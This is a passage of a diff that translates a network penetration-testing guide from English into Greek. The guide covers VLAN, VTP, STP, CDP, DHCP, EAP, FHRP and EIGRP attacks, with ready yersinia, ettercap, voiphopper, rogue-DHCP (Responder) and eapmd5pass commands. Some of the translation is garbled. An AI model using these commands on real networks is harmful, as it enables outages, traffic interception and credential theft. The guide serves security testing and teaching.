Εξαρτάται από την περίπτωση. {{#ref}} lateral-vlan-segmentation-bypass.md @@ -397,143 +350,126 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +Σε ορισμένα περιβάλλοντα, όπως τα δίκτυα ασύρματης πρόσβασης επισκεπτών, εφαρμόζονται ρυθμίσεις **απομόνωσης θυρών (γνωστές και ως private VLAN)** για να αποτρέψουν τους πελάτες που είναι συνδεδεμένοι σε ένα ασύρματο σημείο πρόσβασης από το να επικοινωνούν άμεσα μεταξύ τους. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη ACL δικτύου είτε την ακατάλληλη ρύθμισή τους, επιτρέποντας στα πακέτα IP να δρομολογούνται μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο. -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw. +Η επίθεση εκτελείται δημιουργώντας ένα **πακέτο που φέρει τη διεύθυνση IP του προορισμού πελάτη αλλά με τη MAC διεύθυνση του δρομολογητή**. Αυτό προκαλεί στον δρομολογητή να προωθήσει λανθασμένα το πακέτο στον στοχευμένο πελάτη. Αυτή η προσέγγιση είναι παρόμοια με αυτή που χρησιμοποιείται στις επιθέσεις Double Tagging, όπου η ικανότητα ελέγχου ενός host προσβάσιμου από το θύμα χρησιμοποιείται για να εκμεταλλευτεί την ασφάλεια. -**Key Steps of the Attack:** +**Βασικά Βήματα της Επίθεσης:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +1. **Δημιουργία Πακέτου:** Ένα πακέτο δημιουργείται ειδικά για να περιλαμβάνει τη διεύθυνση IP του στοχευμένου πελάτη αλλά με τη MAC διεύθυνση του δρομολογητή. +2. **Εκμετάλλευση Συμπεριφοράς Δρομολογητή:** Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον στοχευμένο πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις private VLAN. ### VTP Attacks -VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +Το VTP (VLAN Trunking Protocol) κεντρικοποιεί τη διαχείριση VLAN. Χρησιμοποιεί αριθμούς αναθεώρησης για να διατηρεί την ακεραιότητα της βάσης δεδομένων VLAN; οποιαδήποτε τροποποίηση αυξάνει αυτόν τον αριθμό. Οι διακόπτες υιοθετούν ρυθμίσεις με υψηλότερους αριθμούς αναθεώρησης, ενημερώνοντας τις δικές τους βάσεις δεδομένων VLAN. -#### VTP Domain Roles +#### Ρόλοι Τομέα VTP -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **VTP Server:** Διαχειρίζεται τα VLAN—δημιουργεί, διαγράφει, τροποποιεί. Διαδίδει ανακοινώσεις VTP στα μέλη του τομέα. +- **VTP Client:** Λαμβάνει ανακοινώσεις VTP για να συγχρονίσει τη βάση δεδομένων VLAN του. Αυτός ο ρόλος περιορίζεται από τροποποιήσεις ρυθμίσεων VLAN τοπικά. +- **VTP Transparent:** Δεν συμμετέχει σε ενημερώσεις VTP αλλά προωθεί τις ανακοινώσεις VTP. Δεν επηρεάζεται από επιθέσεις VTP, διατηρεί έναν σταθερό αριθμό αναθεώρησης μηδέν. -#### VTP Advertisement Types +#### Τύποι Ανακοινώσεων VTP -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. -- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **Σύνοψη Ανακοίνωσης:** Διαδίδεται από τον VTP server κάθε 300 δευτερόλεπτα, μεταφέροντας βασικές πληροφορίες τομέα. +- **Υποσύνολο Ανακοίνωσης:** Αποστέλλεται μετά από αλλαγές ρυθμίσεων VLAN. +- **Αίτημα Ανακοίνωσης:** Εκδίδεται από έναν VTP client για να ζητήσει μια Σύνοψη Ανακοίνωσης, συνήθως ως απάντηση στην ανίχνευση υψηλότερου αριθμού αναθεώρησης ρύθμισης. -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +Οι ευπάθειες VTP εκμεταλλεύονται αποκλειστικά μέσω θυρών trunk καθώς οι ανακοινώσεις VTP κυκλοφορούν μόνο μέσω αυτών. Μετά από σενάρια επίθεσης DTP, μπορεί να στραφούν προς το VTP. Εργαλεία όπως το Yersinia μπορούν να διευκολύνουν επιθέσεις VTP, στοχεύοντας να διαγράψουν τη βάση δεδομένων VLAN, διαταράσσοντας αποτελεσματικά το δίκτυο. +Σημείωση: Αυτή η συζήτηση αφορά την έκδοση VTP 1 (VTPv1). ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` +Στη γραφική διεπαφή του Yersinia, επιλέξτε την επιλογή διαγραφής όλων των VTP vlans για να καθαρίσετε τη βάση δεδομένων VLAN. -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +### Επιθέσεις STP -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**Εάν δεν μπορείτε να συλλάβετε τα πακέτα BPDU στις διεπαφές σας, είναι απίθανο να πετύχετε σε μια επίθεση STP.** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +Αποστέλλοντας πολλά BPDUs TCP (Topology Change Notification) ή Conf (τα BPDUs που αποστέλλονται όταν δημιουργείται η τοπολογία), οι διακόπτες υπερφορτώνονται και σταματούν να λειτουργούν σωστά. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **STP TCP Επίθεση** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +Όταν αποστέλλεται ένα TCP, ο πίνακας CAM των διακοπτών θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, αν στέλνετε συνεχώς αυτού του είδους τα πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (ή κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, ο διακόπτης συμπ behaves ως hub. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` - #### **STP Root Attack** -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +Ο επιτιθέμενος προσομοιώνει τη συμπεριφορά ενός διακόπτη για να γίνει ο STP root του δικτύου. Στη συνέχεια, περισσότερα δεδομένα θα περάσουν μέσω αυτού. Αυτό είναι ενδιαφέρον όταν είστε συνδεδεμένοι σε δύο διαφορετικούς διακόπτες.\ +Αυτό γίνεται στέλνοντας BPDUs CONF πακέτα που δηλώνουν ότι η **προτεραιότητα** είναι μικρότερη από την πραγματική προτεραιότητα του πραγματικού διακόπτη root. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**Αν ο επιτιθέμενος είναι συνδεδεμένος σε 2 διακόπτες, μπορεί να είναι η ρίζα του νέου δέντρου και όλη η κίνηση μεταξύ αυτών των διακοπτών θα περνάει από αυτόν** (θα εκτελεστεί μια επίθεση MITM). ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` - ### CDP Attacks -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +Το CISCO Discovery Protocol (CDP) είναι απαραίτητο για την επικοινωνία μεταξύ συσκευών CISCO, επιτρέποντάς τους να **αναγνωρίζουν η μία την άλλη και να μοιράζονται λεπτομέρειες διαμόρφωσης**. #### Passive Data Collection -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. +Το CDP είναι ρυθμισμένο να εκπέμπει πληροφορίες μέσω όλων των θυρών, γεγονός που μπορεί να οδηγήσει σε κίνδυνο ασφαλείας. Ένας επιτιθέμενος, μόλις συνδεθεί σε μια θύρα διακόπτη, θα μπορούσε να αναπτύξει εργαλεία παρακολούθησης δικτύου όπως **Wireshark**, **tcpdump** ή **Yersinia**. Αυτή η ενέργεια μπορεί να αποκαλύψει ευαίσθητα δεδομένα σχετικά με τη συσκευή δικτύου, συμπεριλαμβανομένου του μοντέλου της και της έκδοσης του Cisco IOS που εκτελεί. Ο επιτιθέμενος μπορεί στη συνέχεια να στοχεύσει συγκεκριμένες ευπάθειες στην αναγνωρισμένη έκδοση του Cisco IOS. #### Inducing CDP Table Flooding -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: - +Μια πιο επιθετική προσέγγιση περιλαμβάνει την εκκίνηση μιας επίθεσης Denial of Service (DoS) πλημμυρίζοντας τη μνήμη του διακόπτη, προσποιούμενος ότι είναι νόμιμες συσκευές CISCO. Παρακάτω είναι η ακολουθία εντολών για την εκκίνηση μιας τέτοιας επίθεσης χρησιμοποιώντας το Yersinia, ένα εργαλείο δικτύου σχεδιασμένο για δοκιμές: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` - -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. +Κατά τη διάρκεια αυτής της επίθεσης, η CPU του switch και ο πίνακας γειτόνων CDP επιβαρύνονται σοβαρά, οδηγώντας σε αυτό που συχνά αναφέρεται ως **“παράλυση δικτύου”** λόγω της υπερβολικής κατανάλωσης πόρων. #### CDP Impersonation Attack - ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +Μπορείτε επίσης να χρησιμοποιήσετε [**scapy**](https://github.com/secdev/scapy/). Βεβαιωθείτε ότι το έχετε εγκαταστήσει με το πακέτο `scapy/contrib`. -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### Επιθέσεις VoIP και το εργαλείο VoIP Hopper -### VoIP Attacks and the VoIP Hopper Tool +Τα τηλέφωνα VoIP, που ενσωματώνονται ολοένα και περισσότερο με συσκευές IoT, προσφέρουν λειτουργίες όπως το άνοιγμα θυρών ή τον έλεγχο θερμοστατών μέσω ειδικών αριθμών τηλεφώνου. Ωστόσο, αυτή η ενσωμάτωση μπορεί να θέσει κινδύνους ασφαλείας. -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +Το εργαλείο [**voiphopper**](http://voiphopper.sourceforge.net) έχει σχεδιαστεί για να προσομοιώνει ένα τηλέφωνο VoIP σε διάφορα περιβάλλοντα (Cisco, Avaya, Nortel, Alcatel-Lucent). Ανακαλύπτει το VLAN ID του φωνητικού δικτύου χρησιμοποιώντας πρωτόκολλα όπως CDP, DHCP, LLDP-MED και 802.1Q ARP. -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper** προσφέρει τρεις λειτουργίες για το Πρωτόκολλο Ανακάλυψης Cisco (CDP): -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **Sniff Mode** (`-c 0`): Αναλύει τα πακέτα δικτύου για να προσδιορίσει το VLAN ID. +2. **Spoof Mode** (`-c 1`): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά μιας πραγματικής συσκευής VoIP. +3. **Spoof with Pre-made Packet Mode** (`-c 2`): Στέλνει πακέτα ταυτόσημα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου Cisco IP. -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +Η προτιμώμενη λειτουργία για ταχύτητα είναι η τρίτη. Απαιτεί τον καθορισμό: -The preferred mode for speed is the third one. It requires specifying: +- Της διεπαφής δικτύου του επιτιθέμενου (`-i` παράμετρος). +- Του ονόματος της συσκευής VoIP που προσομοιώνεται (`-E` παράμετρος), σύμφωνα με τη μορφή ονοματοδοσίας της Cisco (π.χ., SEP ακολουθούμενο από μια διεύθυνση MAC). -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +Σε εταιρικά περιβάλλοντα, για να μιμηθεί μια υπάρχουσα συσκευή VoIP, μπορεί κανείς να: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- Εξετάσει την ετικέτα MAC στο τηλέφωνο. +- Περιηγηθεί στις ρυθμίσεις οθόνης του τηλεφώνου για να δει πληροφορίες μοντέλου. +- Συνδέσει τη συσκευή VoIP σε ένα φορητό υπολογιστή και να παρακολουθήσει τα αιτήματα CDP χρησιμοποιώντας το Wireshark. +Ένα παράδειγμα εντολής για να εκτελέσετε το εργαλείο στην τρίτη λειτουργία θα ήταν: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +### DHCP Επιθέσεις -### DHCP Attacks - -#### Enumeration - +#### Αριθμητική ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -551,68 +487,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +**Δύο τύποι DoS** μπορούν να εκτελούνται κατά των DHCP servers. Ο πρώτος περιλαμβάνει **την προσομοίωση αρκετών ψεύτικων hosts για να χρησιμοποιηθούν όλες οι δυνατές διευθύνσεις IP**.\ +Αυτή η επίθεση θα λειτουργήσει μόνο αν μπορείτε να δείτε τις απαντήσεις του DHCP server και να ολοκληρώσετε το πρωτόκολλο (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Για παράδειγμα, αυτό **δεν είναι δυνατό σε δίκτυα Wifi**. +Ένας άλλος τρόπος για να εκτελέσετε μια DHCP DoS είναι να στείλετε ένα **DHCP-RELEASE packet χρησιμοποιώντας ως πηγή κάθε δυνατή IP**. Τότε, ο server θα νομίζει ότι όλοι έχουν τελειώσει τη χρήση της IP. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +Μια πιο αυτόματη μέθοδος για να το κάνετε αυτό είναι η χρήση του εργαλείου [DHCPing](https://github.com/kamorin/DHCPig) -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +Μπορείτε να χρησιμοποιήσετε τις αναφερόμενες επιθέσεις DoS για να αναγκάσετε τους πελάτες να αποκτήσουν νέες μισθώσεις εντός του περιβάλλοντος και να εξαντλήσετε τους νόμιμους διακομιστές ώστε να γίνουν μη ανταγωνιστικοί. Έτσι, όταν οι νόμιμοι προσπαθήσουν να επανασυνδεθούν, **μπορείτε να σερβίρετε κακόβουλες τιμές που αναφέρονται στην επόμενη επίθεση**. -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### Ορισμός κακόβουλων τιμών -#### Set malicious values +Ένας κακόβουλος διακομιστής DHCP μπορεί να ρυθμιστεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στο `/usr/share/responder/DHCP.py`. Αυτό είναι χρήσιμο για επιθέσεις δικτύου, όπως η καταγραφή HTTP κίνησης και διαπιστευτηρίων, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η ρύθμιση ενός κακόβουλου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή της εξερχόμενης κίνησης από τον πελάτη, χάνοντας τις απαντήσεις από την πραγματική πύλη. Αντίθετα, συνιστάται η ρύθμιση ενός κακόβουλου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση. -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +Παρακάτω είναι οι επιλογές εντολών για τη ρύθμιση του κακόβουλου διακομιστή DHCP: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **Διεύθυνση IP μας (Διαφήμιση Πύλης)**: Χρησιμοποιήστε `-i 10.0.0.100` για να διαφημίσετε τη διεύθυνση IP της μηχανής σας ως πύλη. +- **Τοπικό Όνομα Τομέα DNS**: Προαιρετικά, χρησιμοποιήστε `-d example.org` για να ορίσετε ένα τοπικό όνομα τομέα DNS. +- **Αρχική Διεύθυνση IP Ρουτερ/Πύλης**: Χρησιμοποιήστε `-r 10.0.0.1` για να προσδιορίσετε τη διεύθυνση IP του νόμιμου ρουτερ ή πύλης. +- **Διεύθυνση IP Κύριου Διακομιστή DNS**: Χρησιμοποιήστε `-p 10.0.0.100` για να ορίσετε τη διεύθυνση IP του κακόβουλου διακομιστή DNS που ελέγχετε. +- **Διεύθυνση IP Δευτερεύοντος Διακομιστή DNS**: Προαιρετικά, χρησιμοποιήστε `-s 10.0.0.1` για να ορίσετε μια δευτερεύουσα διεύθυνση IP διακομιστή DNS. +- **Μάσκα Δικτύου Τοπικού Δικτύου**: Χρησιμοποιήστε `-n 255.255.255.0` για να ορίσετε τη μάσκα για το τοπικό δίκτυο. +- **Διεπαφή για Κίνηση DHCP**: Χρησιμοποιήστε `-I eth1` για να ακούσετε την κίνηση DHCP σε μια συγκεκριμένη διεπαφή δικτύου. +- **Διεύθυνση Ρύθμισης WPAD**: Χρησιμοποιήστε `-w “http://10.0.0.100/wpad.dat”` για να ορίσετε τη διεύθυνση για τη ρύθμιση WPAD, βοηθώντας στην παρεμβολή της κίνησης ιστού. +- **Ψεύτικη Διεύθυνση IP Προεπιλεγμένης Πύλης**: Συμπεριλάβετε `-S` για να ψεύδεστε τη διεύθυνση IP της προεπιλεγμένης πύλης. +- **Απάντηση σε Όλες τις Αιτήσεις DHCP**: Συμπεριλάβετε `-R` για να κάνει ο διακομιστής να απαντά σε όλες τις αιτήσεις DHCP, αλλά να είστε προσεκτικοί καθώς αυτό είναι θορυβώδες και μπορεί να ανιχνευθεί. +Χρησιμοποιώντας σωστά αυτές τις επιλογές, μπορεί να δημιουργηθεί ένας κακόβουλος διακομιστής DHCP για να παρεμποδίσει αποτελεσματικά την κίνηση δικτύου. ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **EAP Επιθέσεις** -### **EAP Attacks** +Εδώ είναι μερικές από τις τακτικές επιθέσεων που μπορούν να χρησιμοποιηθούν κατά των υλοποιήσεων 802.1X: -Here are some of the attack tactics that can be used against 802.1X implementations: - -- Active brute-force password grinding via EAP -- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -- EAP message capture and offline password cracking (EAP-MD5 and PEAP) -- Forcing EAP-MD5 authentication to bypass TLS certificate validation -- Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +- Ενεργή βίαιη προσπάθεια αποκωδικοποίησης κωδικών πρόσβασης μέσω EAP +- Επίθεση στον διακομιστή RADIUS με κακώς διαμορφωμένο περιεχόμενο EAP _\*\*_(exploits) +- Καταγραφή μηνυμάτων EAP και εκ των υστέρων αποκωδικοποίηση κωδικών πρόσβασης (EAP-MD5 και PEAP) +- Ανάγκαστη αυθεντικοποίηση EAP-MD5 για παράκαμψη της επικύρωσης πιστοποιητικού TLS +- Εισαγωγή κακόβουλης δικτυακής κίνησης κατά την αυθεντικοποίηση χρησιμοποιώντας ένα hub ή παρόμοιο +Εάν ο επιτιθέμενος είναι μεταξύ του θύματος και του διακομιστή αυθεντικοποίησης, θα μπορούσε να προσπαθήσει να υποβαθμίσει (αν είναι απαραίτητο) το πρωτόκολλο αυθεντικοποίησης σε EAP-MD5 και να καταγράψει την προσπάθεια αυθεντικοποίησης. Στη συνέχεια, θα μπορούσε να το αποκωδικοποιήσει βίαια χρησιμοποιώντας: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` - ### FHRP (GLBP & HSRP) Attacks -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. +**FHRP** (Πρωτόκολλο Πρώτης Εναλλαγής) είναι μια κατηγορία πρωτοκόλλων δικτύου που έχει σχεδιαστεί για να **δημιουργεί ένα σύστημα δρομολόγησης με ζεστή εναλλαγή**. Με το FHRP, φυσικοί δρομολογητές μπορούν να συνδυαστούν σε μια ενιαία λογική συσκευή, η οποία αυξάνει την αντοχή σε σφάλματα και βοηθά στη διανομή του φορτίου. -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Οι μηχανικοί της Cisco Systems έχουν αναπτύξει δύο πρωτόκολλα FHRP, GLBP και HSRP.** {{#ref}} glbp-and-hsrp-attacks.md @@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +Τρεις εκδόσεις του Πρωτοκόλλου Πληροφοριών Δρομολόγησης (RIP) είναι γνωστό ότι υπάρχουν: RIP, RIPv2 και RIPng. Τα datagrams αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας UDP από το RIP και το RIPv2, ενώ τα datagrams μεταδίδονται στη θύρα UDP 521 μέσω IPv6 multicast από το RIPng. Η υποστήριξη για την αυθεντικοποίηση MD5 εισήχθη από το RIPv2. Από την άλλη πλευρά, η εγγενής αυθεντικοποίηση δεν ενσωματώνεται από το RIPng; αντίθετα, βασίζεται σε προαιρετικά IPsec AH και ESP headers εντός IPv6. -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIP και RIPv2:** Η επικοινωνία γίνεται μέσω UDP datagrams στη θύρα 520. +- **RIPng:** Χρησιμοποιεί τη θύρα UDP 521 για τη μετάδοση datagrams μέσω IPv6 multicast. -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +Σημειώστε ότι το RIPv2 υποστηρίζει την αυθεντικοποίηση MD5 ενώ το RIPng δεν περιλαμβάνει εγγενή αυθεντικοποίηση, βασιζόμενο σε IPsec AH και ESP headers στο IPv6. ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP (Πρωτόκολλο Ενισχυμένης Εσωτερικής Πύλης)** είναι ένα δυναμικό πρωτόκολλο δρομολόγησης. **Είναι ένα πρωτόκολλο απόστασης-διανύσματος.** Εάν δεν υπάρχει **αυθεντικοποίηση** και ρύθμιση παθητικών διεπαφών, ένας **εισβολέας** μπορεί να παρεμβαίνει στη δρομολόγηση EIGRP και να προκαλέσει **δηλητηρίαση πινάκων δρομολόγησης**. Επιπλέον, το δίκτυο EIGRP (με άλλα λόγια, το αυτόνομο σύστημα) **είναι επίπεδο και δεν έχει τμηματοποίηση σε ζώνες**. Εάν ένας **επιτιθέμενος εισάγει μια διαδρομή**, είναι πιθανό αυτή η διαδρομή να **διαδοθεί** σε όλο το αυτόνομο σύστημα EIGRP. -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +Για να επιτεθεί σε ένα σύστημα EIGRP απαιτείται **η δημιουργία γειτονιάς με έναν νόμιμο δρομολογητή EIGRP**, που ανοίγει πολλές δυνατότητες, από βασική αναγνώριση μέχρι διάφορες ενέσεις. -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) σας επιτρέπει να υλοποιήσετε **έναν εικονικό δρομολογητή που υποστηρίζει BGP, OSPF, EIGRP, RIP και άλλα πρωτόκολλα.** Το μόνο που χρειάζεται να κάνετε είναι να το αναπτύξετε στο σύστημα του επιτιθέμενου και μπορείτε πραγματικά να προσποιηθείτε ότι είστε ένας νόμιμος δρομολογητής στον τομέα δρομολόγησης. {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) έχει δυνατότητες για την παρεμβολή των εκπομπών EIGRP (Πρωτόκολλο Ενισχυμένης Εσωτερικής Πύλης). Επιτρέπει επίσης την έγχυση πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την τροποποίηση των ρυθμίσεων δρομολόγησης. ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly 